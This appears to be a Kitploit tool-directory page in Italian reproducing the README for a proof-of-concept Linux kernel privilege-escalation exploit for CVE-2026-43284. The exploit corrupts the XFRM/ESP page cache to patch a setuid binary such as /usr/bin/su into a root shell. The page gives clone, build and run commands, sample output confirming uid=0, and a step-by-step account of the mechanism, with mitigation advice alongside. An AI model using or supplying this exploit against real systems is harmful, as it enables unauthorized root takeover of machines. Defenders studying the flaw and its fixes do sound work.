Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-43284-DirtyFrag-PoC — Proof-of-concept per CVE-2026-43284 — primitiva di scrittura di 4 byte nella page-cache XFRM/ESP per patchare un binario setuid (x86_64, user namespace). Include preflight del kernel e scansione SUID. | Kitploit
Strumenti/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

Proof-of-concept per CVE-2026-43284 — primitiva di scrittura di 4 byte nella page-cache XFRM/ESP per patchare un binario setuid (x86_64, user namespace). Include preflight del kernel e scansione SUID.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
121 mese faNon ancora revisionato

CVE-2026-43284 — XFRM/ESP da 4 byte

CVE Platform Type Status

Proof-of-concept di escalation dei privilegi locale tramite corruzione della page-cache XFRM/ESP
Primitiva di scrittura a 4 byte · 48 iterazioni · sovrascrittura ELF da 192 byte · utente non privilegiato + netns


Prova di concetto

Controlli preliminari e fasi dell'exploit su WSL2 Ubuntu 24.04 Shell di root riuscita con verifica di uid=0

Sinistra: preflight del kernel, scansione setuid e catena dell'exploit  ·  Destra: shell di root avviata — id / whoami confermano uid=0(root)
Testato su WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2


root@kitploit:~
  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Disclaimer: Solo per ricerca sulla sicurezza autorizzata, formazione e test su sistemi di tua proprietà o per i quali hai esplicito permesso di testare. Gli autori non sono responsabili di un uso improprio.


Panoramica

Funziona anche quando algif_aead è in blacklist: l'exploit usa direttamente il percorso del codice XFRM/ESP del kernel.


Funzionalità

Controlli preliminari integrati prima dello sfruttamento:

  1. Configurazione del kernel — verifica CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
    (legge /boot/config-*, /lib/modules/*/config o /proc/config.gz su WSL2)
  2. Scansione setuid — elenca i binari SUID sul sistema (find / -perm -4000)
  3. Exploit — modifica la page cache, avvia una shell di root via PTY, ripristina il target all'uscita

Requisiti

Opzioni del kernel

root@kitploit:~
CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # or =y

Verifica rapida:

root@kitploit:~
# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Altro

  • Kernel Linux vulnerabile a CVE-2026-43284 (vedi Patch status)
  • gcc, libc, libutil (per forkpty)
  • Binario setuid di destinazione leggibile (predefinito: /usr/bin/su)

Compilazione

root@kitploit:~
git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

Oppure manualmente:

root@kitploit:~
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 è intenzionale: l'ottimizzazione può rompere il comportamento di splice/UDP sensibile ai tempi.


Utilizzo

1. Conferma di non essere privilegiato

root@kitploit:~
id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. Esegui l'exploit

root@kitploit:~
./sley-dirtyfrag                  # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # custom setuid binary

Lo strumento esegue tre fasi automatiche:

Fase

3. Verifica l'accesso root

All'interno della shell avviata:

root@kitploit:~
id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Esci per ripristinare

Premi Ctrl+D o digita exit. Il PoC elimina la page cache così il binario originale su disco viene ripristinato automaticamente.

Se il ripristino fallisce:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches

Riferimento comandi

Esempio di output

root@kitploit:~
┌─[ phase 1] kernel config preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (required =y)
  [+] CONFIG_XFRM           = y  (required =y)
  [+] CONFIG_INET_ESP       = m  (required =m or =y)
  kernel options OK.

┌─[ phase 2] setuid binary scan
  10 /usr/bin/su  ← target
  found 14 setuid binaries.

┌─[ phase 3] exploit
  [*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
  [+] corrupt               all iterations done
  [+] verify                ELF patch detected

  ╔══════════════════════════════════════╗
  ║  root shell — exit to restore        ║
  ╚══════════════════════════════════════╝

Mitigazione

Applica la patch del kernel (consigliato)

Corretto inf4c50a4034e6 (mainline, 8 maggio 2026)
Introdottocac2661c53f3 (gennaio 2017)

Azione: aggiorna a un kernel della distribuzione che include la correzione, oppure compila da un albero mainline con patch.

root@kitploit:~
# check your running kernel
uname -r

# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Opzioni di hardening (difesa in profondità)

Limita i namespace utente non privilegiati

Questo exploit dipende da unshare(CLONE_NEWUSER | CLONE_NEWNET) senza root.

root@kitploit:~
# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0

# or disable at build time
# CONFIG_USER_NS is not set

Nota: disabilitare i namespace utente blocca questo PoC ma non necessariamente CVE-2026-43500 (variante rxrpc per sistemi senza userns).

Controlla i binari setuid

root@kitploit:~
find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need

Elimina le cache dopo un sospetto compromesso

Se ritieni che un binario setuid sia stato modificato in memoria:

root@kitploit:~
echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verify binary integrity from package manager / known-good hash

Come funziona

  1. unshare(CLONE_NEWUSER | CLONE_NEWNET) — namespace utente/rete isolato (nessun root necessario).
  2. Registra 48 associazioni di sicurezza XFRM — byte dello shellcode codificati in ESN seq_hi (4 byte per SA).
  3. Attivazione via porta UDP 4500 con UDP_ENCAP_ESPINUDP:
    • splice() legge il file di destinazione in una pipe
    • splice() sposta i dati dalla pipe → socket UDP
    • La pagina della page-cache entra nella lista scatter-gather ESP tramite il percorso skip_cow
    • Lo scatterwalk authencesn scrive seq_hi a assoclen + cryptlen
  4. HMAC fallisce — ma la scrittura nella page-cache persiste.
  5. Esegui il binario setuid modificato — la ELF minima esegue setuid(0) / setgid(0) / .

Ambienti testati

AmbienteKernel
WSL2 Ubuntu 24.04.1 LTS6.6.87.2-microsoft-standard-WSL2
Ubuntu 24.04build vulnerabili
Fedora 44build vulnerabili

Lavori correlati

  • CVE-2026-43500 — variante rxrpc per sistemi senza namespace utente; punta a /etc/passwd con una primitiva di brute-force da 8 byte pcbc(fcrypt). Non inclusa in questo repository.

File


Licenza

Fornito così com'è per ricerca e formazione. Usalo in modo responsabile.


Autore

SLEY — PoC dirtyfrag di CVE-2026-43284

Se questo ha aiutato la tua ricerca, considera di mettere una stella al repository.

Scarica lo strumento
CVECVE-2026-43284
TipoEscalation dei privilegi locale (LPE)
VettoreCorruzione della page-cache XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP)
Primitiva4 byte per iterazione (ESN seq_hi)
PayloadELF x86_64 da 192 byte (setuid(0) + setgid(0) + execve("/bin/sh"))
Target predefinito/usr/bin/su
Architetturasolo x86_64
Privilegi richiestiUtente non privilegiato (usa namespace utente e di rete)
Cosa fa
1Preflight della configurazione del kernel (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP)
2Scansione dei binari setuid su tutto il sistema; evidenzia il target predefinito
3Backup del target → patch della page cache (48 scritture da 4 byte) → avvio della shell di root
ComandoDescrizione
./sley-dirtyfragSfrutta /usr/bin/su (predefinito)
./sley-dirtyfrag /path/to/suidSfrutta un binario setuid personalizzato
makeCompila sley-dirtyfrag
make cleanRimuove il binario
MisuraEffetto
Patch / aggiornamento del kernelElimina il bug di scrittura sottostante nella page cache
Limita i namespace utenteBlocca questo PoC (richiede CONFIG_USER_NS)
Rimuovi i binari setuid non necessariRiduce i target utilizzabili (chmod u-s o disinstallazione)
Lockdown / LSM (SELinux, AppArmor)Può limitare l'impatto post-sfruttamento a seconda della policy
Monitora XFRM + UDP/4500Rileva registrazioni SA anomale e traffico ESP-in-UDP da namespace non privilegiati
execve("/bin/sh")
  • All'uscita dalla shell — elimina la page-cache (posix_fadvise) così il kernel ricarica il file pulito dal disco.
  • FileDescrizione
    sley-dirtyfrag.cSorgente dell'exploit
    MakefileHelper di compilazione
    proof-of-concept-1.jpgScreenshot del PoC — preflight + exploit
    proof-of-concept-2.jpgScreenshot del PoC — verifica della shell di root
    README.mdQuesto file